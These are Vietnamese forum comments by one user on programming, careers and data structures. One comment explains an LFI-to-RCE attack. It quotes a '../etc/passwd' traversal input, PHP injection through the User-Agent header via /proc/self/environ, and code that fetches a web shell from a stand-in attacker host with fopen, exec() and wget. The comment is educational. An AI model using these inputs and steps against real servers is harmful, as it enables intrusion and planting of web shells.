Tran Minh Nhat

100 mũ không trùng màu thì nô lệ hẳn là phải đọc mã màu dưới dạng hex

bạn chạy command thủ công hay là command tự động khi bấm run?

Khả thi bạn ơi, app android chỉ là cái giao diện cho người dùng, server xử lý tất.

Theo mình thì BA nên biết code, hiểu về lập trình và quy trình phát triển phần mềm, hiểu về công nghệ (ngôn ngữ lập trình, framework, lib,...) nhé. Code có thể không phải thế mạnh và không code được giỏi, nhưng nên biết.

Xin lỗi bạn, mình chưa thấy dòng số 7 ở đâu cả

Theo mình thì bạn làm tương tự là được. Vì cái token này cần invalid ngay sau khi người dùng truy cập link mà. Xác thực tài khoản xong thì cột token đó cũng chẳng để làm gì nữa rồi, tận dụng luôn.

Bạn phải xem mình muốn gì chứ, còn cứ nhìn vào số liệu chênh nhau thì khác gì câu chuyện đẽo cày giữa đường. Chỉ nhìn vào việc "ít nơi tuyển Python hơn NodeJS" thì khéo mình bỏ nghề mất. Vì mình làm trong mảng Cyber Security, thì cái mảng này đã tuyển ít hơn rất nhiều so với các vị trí thuộc khối lập trình rồi. Ở VN không nhiều nơi tuyển vị trí về ATTT, chưa kể trong ATTT cũng chia nhỏ thành các chuyên môn cụ thể hơn thì việc lựa chọn nơi làm việc càng hạn chế.

theme dark vì cuộc đời đen tối quá

Mình nghĩ là như này chăng :v.

str = "\x3Cscript src='//media1.admicro.vn/cms/arf-l3drk.min.js'>\x3C/script>".   
str = str.replace("\x3C", "<").

Mình dùng Font mặc định, rồi mông má thêm tí thêm, icon pack,... https://viblo.asia/p/vscode-cua-minh-trong-nhu-nao-RQqKLGW057z

Mình giải thích sơ sơ thế này mong là đúng ý bạn cần :v

1. Khi trang web tồn tại lỗ hổng LFI thì mình có thể "include" được 1 file trên hệ thống vào trang hiện tại. VD như khi truyền ../../../../../etc/passwd thì server sẽ "include" nội dung file /etc/passwd vào trang hiện tại, từ đó chúng ta đọc được nội dung file. Việc cần bao nhiêu ký tự "../" tùy thuộc vào cách server xử lý và vị trí đường dẫn chứa source code web nhé.
2. Với server chạy php, chỉ cần đọc file php là code sẽ được thực thi. Vd như ở trang /index.php thì code trong file này sẽ được thực thi => khi khai thác lỗ hổng LFI, ta truyền vào đường dẫn của shell code php (mà bằng cách nào đó, chúng ta đã upload được lên server) thì sẽ gây ra RCE (Remode Code Execution).
3. Trong bài viết mà bạn đọc, bên cạnh lỗ hổng LFI ra, thì còn có một lỗ hổng nữa kết hợp với LFI cũng dẫn tới RCE: khi đọc file /proc/self/environ thì server sẽ thực thi đoạn code php được truyền trong header User-Agent.
4. Trong bài viết bạn đọc, người viết demo thêm việc upload shell lên server thông qua việc khai thác lỗ hổng như mình đề cập ở ý 3. Đoạn code <?php $file = fopen("urshellname.php","w+") ..... được ghi trong header User-Agent thực ra là chạy 3 cách khác nhau để upload được shell code php lên server:

• Cách 1: Tạo file shell.txt chứa shell code php trên server của attacker (trong bài viết là ursitename.com) => Tại server chứa lỗ hổng, đọc file shell.txt trên server của attacker => Ghi nội dung file này vào shell.php được tạo trên server của victim (việc tạo file trên server của victim thực hiện qua dòng code $file = fopen("urshellname.php","w+")) => có shell trên server của victim.
• Cách 2: Chạy hàm exec() trong php để thực thi lệnh hệ thống. Lệnh được thực thi là lệnh wget để tải file shell.txt có trên server của attacker và lưu dưới dạng file php.
• Cách 3: Tương tự cách 2, nhưng chạy hàm system(). Hàm này cũng thực thi lệnh hệ thống như hàm exec().
  Thực hiện tận 3 cách trên để tăng tỉ lệ ghi được shell php lên server của victim.

5. Ngay từ đầu thì shell.txt đã nằm trên server của attacker, chứ không nằm trên server của victim. Khi lưu về server của victim thì mới được đổi thành đuôi php.
6. Về việc tại sao khi đặt trên server của attacker thì phải để đuôi file là txt thì mình nghĩ có 2 lí do:

• Để cách 1 hoạt động. Nếu không đặt file txt thì có thể dòng code $stream = fopen("http://ursitename.com/urshellname.txt", "r") sẽ không đọc được file.
• Server của victim có thể log lại được các request bằng method GET, trong đó có log lại được User-Agent. Nếu attacker để sẵn file php trên server của mình, và server của attacker cũng chạy php chẳng hạn. Thì victim có thể vào đánh trả bằng cách chạy thẳng con shell đó trên server của attacker. Như thế thì attacker đi đấm nhau nhưng tình cờ tự vác đá đập vào chân mình rồi :v

Thực ra mình thấy bài viết bạn đọc chưa rõ ràng lắm, bạn có thể đọc phiên bản khác giải thích chính xác hơn ở: https://www.exploit-db.com/papers/12886

Để mà trình bày điểm giống và khác nhau của 2 cái thì có nhiều điểm để nói lắm.

Stack thì theo quy tắc LIFO (Last in - First out) nên các phương thức của Stack sẽ ít, và cách sử dụng cũng cứng nhắc hơn Linked List. Loanh quanh chủ yếu dùng nhiều là push, pop, top,... Mình chỉ có thể truy cập từ đỉnh stack, muốn lấy ra 1 phần tử xác định thì phải pop mấy cái ở đỉnh đi, cho tới khi gặp phần tử mình cần.

Linked List thì linh động hơn, phần tử trước trỏ tới phần tử tiếp sau đó, cứ thế cho tới phần tử cuối cùng. Nhờ đó việc tìm kiếm 1 phần tử trong List, hay là thêm phần tử vào giữa List đơn giản hơn nhiều so với thực hiện trên Stack.

Để so sánh toàn diện thì nhiều lắm, bạn xem mấy cái ảnh mình comment là thấy được sự chênh lệch giữa Stack và Linked List. Nếu bạn muốn hiểu tường tận thì mình gợi ý 2 cách:

• Cách 1: tìm hiểu các phương thức của Stack và Linked List. Cái này bạn có thể xem ở link sau:
  • Stack: https://www.cplusplus.com/reference/stack/stack/
  • Linked List: https://www.cplusplus.com/reference/list/list/
• Cách 2: tự code lại Stack và Linked List, cùng với các phương thức của chúng nó. Đảm bảo code xong hiểu rõ luôn.

Sao bạn không lưu các lựa chọn vào cookie ở trình duyệt cho tiện, mỗi khi khách thay đổi giỏ hàng lại phải cập nhật csdl thì hơi bất tiện.

Bưu Chính mới đào tạo thương mại điện tử. Nhưng a nghĩ e cứ học các trường kinh tế top đầu (nếu có khả năng) rồi tự tìm hiểu thêm. Lên đại học tự xông xáo để có kinh nghiệm thôi e, đừng trông mong quá nhiều vào kiến thức trường dạy. Hoặc là e học công nghệ, rồi từ công nghệ để kinh doanh, kiếm tiền. Không nhất thiết học công nghệ là ra trường phải làm kỹ thuật.